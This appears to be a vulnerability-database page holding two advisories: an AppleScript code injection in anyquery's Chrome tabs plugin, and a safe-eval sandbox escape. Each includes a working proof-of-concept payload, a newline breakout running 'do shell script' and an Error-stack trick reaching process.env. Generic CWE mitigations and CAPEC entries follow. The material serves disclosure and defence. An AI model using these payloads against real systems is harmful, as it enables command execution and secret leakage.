Summary
Anyquery: AppleScript/JXA Code Injection via Unescaped URL in macOS Chrome Plugin
Details

AppleScript/JXA Code Injection via Unescaped URL in macOS Chrome Plugin

Field Value
Repository julien040/anyquery
Affected version 0.4.4 (commit 0abd460)
Vulnerability CWE-94 — Improper Control of Generation of Code
Severity High

Summary

The chrome_tabs plugin (and equivalent Brave/Edge/Safari variants) interpolates a SQL-controlled url value directly into an AppleScript template via fmt.Sprintf(newTabScript, url) at plugins/chrome/tabs.go:141 without any escaping, then passes the result to exec.Command("osascript", "-e", ...). An authenticated anyquery user who can issue SQL INSERT INTO chrome_tabs statements — which requires local CLI access — can break out of the {URL:"..."} property record with a newline-containing payload and inject arbitrary AppleScript statements, including do shell script, achieving OS-level command execution on the macOS host. The same pattern applies to the Update path at tabs.go:169 via the JXA setURL.js script.

Affected Code

plugins/chrome/tabs.go:141 — SQL-supplied url interpolated unescaped into AppleScript template, then executed via osascript -e

func (t *tabsTable) Insert(rows [][]interface{}) error {
    for _, row := range rows {
        url := "chrome://newtab/"
        if rawURL, ok := row[2].(string); ok {
            url = rawURL
        }

        cmd := exec.Command("osascript", "-e", fmt.Sprintf(newTabScript, url))
        output, err := cmd.CombinedOutput()
        if err != nil {
            return fmt.Errorf("can't run osascript: %W (message: %s)\n Script: %s", err, output, fmt.Sprintf(newTabScript, url))
        }

    }

    return nil
}

plugins/chrome/tabs.go:169Update path interpolates url into JXA setURL.js template with identical lack of escaping

        if url != "" {
            cmd := exec.Command("osascript", "-l", "JavaScript", "-e", fmt.Sprintf(setURLScript, pk, url))
            output, err := cmd.CombinedOutput()
            if err != nil {
                return fmt.Errorf("can't run osascript: %W (message: %s)\n Script: %s", err, output, fmt.Sprintf(setURLScript, pk, url))
            }
        }

SQL INSERT url column (row[2]) flows through tabsTable.Insertfmt.Sprintf(newTabScript, url)exec.Command("osascript", "-e", <injected script>) at tabs.go:141.

Proof of Concept

Step 1 — Insert a newline-bearing URL via SQL: the generated AppleScript closes the {URL:"..."} property record and appends an injected do shell script "id" block, which is passed verbatim to osascript -e.

docker build -f Dockerfile -t anyquery-vuln001 .
docker run --rm anyquery-vuln001 'x"}
end tell
do shell script "id"
tell application "Google Chrome"
        make new tab with properties {URL:"done'
SQL equivalent: INSERT INTO chrome_tabs (url) VALUES ('<INJECT_URL>')
where INJECT_URL =
x"}
end tell
do shell script "id"
tell application "Google Chrome"
    make new tab with properties {URL:"done
[sink:tabs.go:141] Script passed to osascript -e:
tell application "Google Chrome"
        make new tab with properties {URL:"x"}
end tell
do shell script "id"
tell application "Google Chrome"
        make new tab with properties {URL:"done"} at end of tabs of first window
end tell
[mock-osascript] Received script:
tell application "Google Chrome"
        make new tab with properties {URL:"x"}
end tell
do shell script "id"
tell application "Google Chrome"
        make new tab with properties {URL:"done"} at end of tabs of first window
end tell

RESULT: PASS — injection payload reached osascript -e verbatim; "do shell script \"id\"" present in generated script (tabs.go:141)

See attached files: Dockerfile, poc/inject_demo.go, poc/go.mod vuln-001.zip

Impact

Any local user authenticated to the anyquery CLI who can run SQL against the chrome_tabs virtual table can achieve arbitrary OS command execution on the macOS host with the privileges of the anyquery process. Because anyquery exposes its SQL interface over an HTTP server (accessible to any user who can reach the endpoint), this can be exploited by any client with INSERT or UPDATE access to the browser-tab plugins, without requiring Chrome credentials or macOS admin rights. The injected AppleScript runs under the user's macOS session, giving access to the file system, keychain prompts, and any application scriptable via Apple Events.

Remediation

Escape double-quote and newline characters in the url value before interpolation, or avoid string templating entirely. Specifically in plugins/chrome/tabs.go:

// Replace fmt.Sprintf(newTabScript, url) with:
safeURL := strings.ReplaceAll(url, `"`, `\"`)
safeURL = strings.ReplaceAll(safeURL, "\n", "")
safeURL = strings.ReplaceAll(safeURL, "\r", "")
cmd := exec.Command("osascript", "-e", fmt.Sprintf(newTabScript, safeURL))

A more robust fix is to pass the URL as an AppleScript variable declared via a -e prefix argument rather than string-interpolating it into the script body, or to use the osascript argv mechanism so the URL never appears inside the script source. Apply the same fix to fmt.Sprintf(setURLScript, pk, url) at tabs.go:169 for the Update path. Validate that the URL conforms to an allowed scheme (https://, http://, chrome://) before passing it to either handler.

Vulnerability from github – Published: 2020-08-25 23:40 – Updated: 2023-09-11 23:01
VLAI
Summary
Sandbox Breakout / Arbitrary Code Execution in safe-eval
Details

All versions of safe-eval are vulnerable to Sandbox Escape leading to Remote Code Execution. The package fails to restrict access to the main context through Error objects. This may allow attackers to execute arbitrary code in the system.

Evaluating the payload

(function (){
  var ex = new Error
  ex.__proto__ = null
  ex.stack = {
    match: x => {
      return x.constructor.constructor("throw process.env")()
    }
  }
  return ex
})()

Mitigation
Architecture and Design

Strategy: Refactoring

Refactor your program so that you do not have to dynamically generate code.

Mitigation
Architecture and Design
  • Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product.
  • Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.
  • This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
  • Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-5
Implementation

Strategy: Input Validation

  • Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
  • When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
  • Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
  • To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
Mitigation
Testing

Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Mitigation MIT-32
Operation

Strategy: Compilation or Build Hardening

Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).

Mitigation MIT-32
Operation

Strategy: Environment Hardening

Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).

Mitigation
Implementation

For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].

CAPEC-242: Code Injection

An adversary exploits a weakness in input validation on the target to inject new code into that which is currently executing. This differs from code inclusion in that code inclusion involves the addition or replacement of a reference to a code file, which is subsequently loaded by the target and used as part of the code of some application.

CAPEC-35: Leverage Executable Code in Non-Executable Files

An attack of this type exploits a system's trust in configuration and resource files. When the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high.

CAPEC-77: Manipulating User-Controlled Variables

This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.
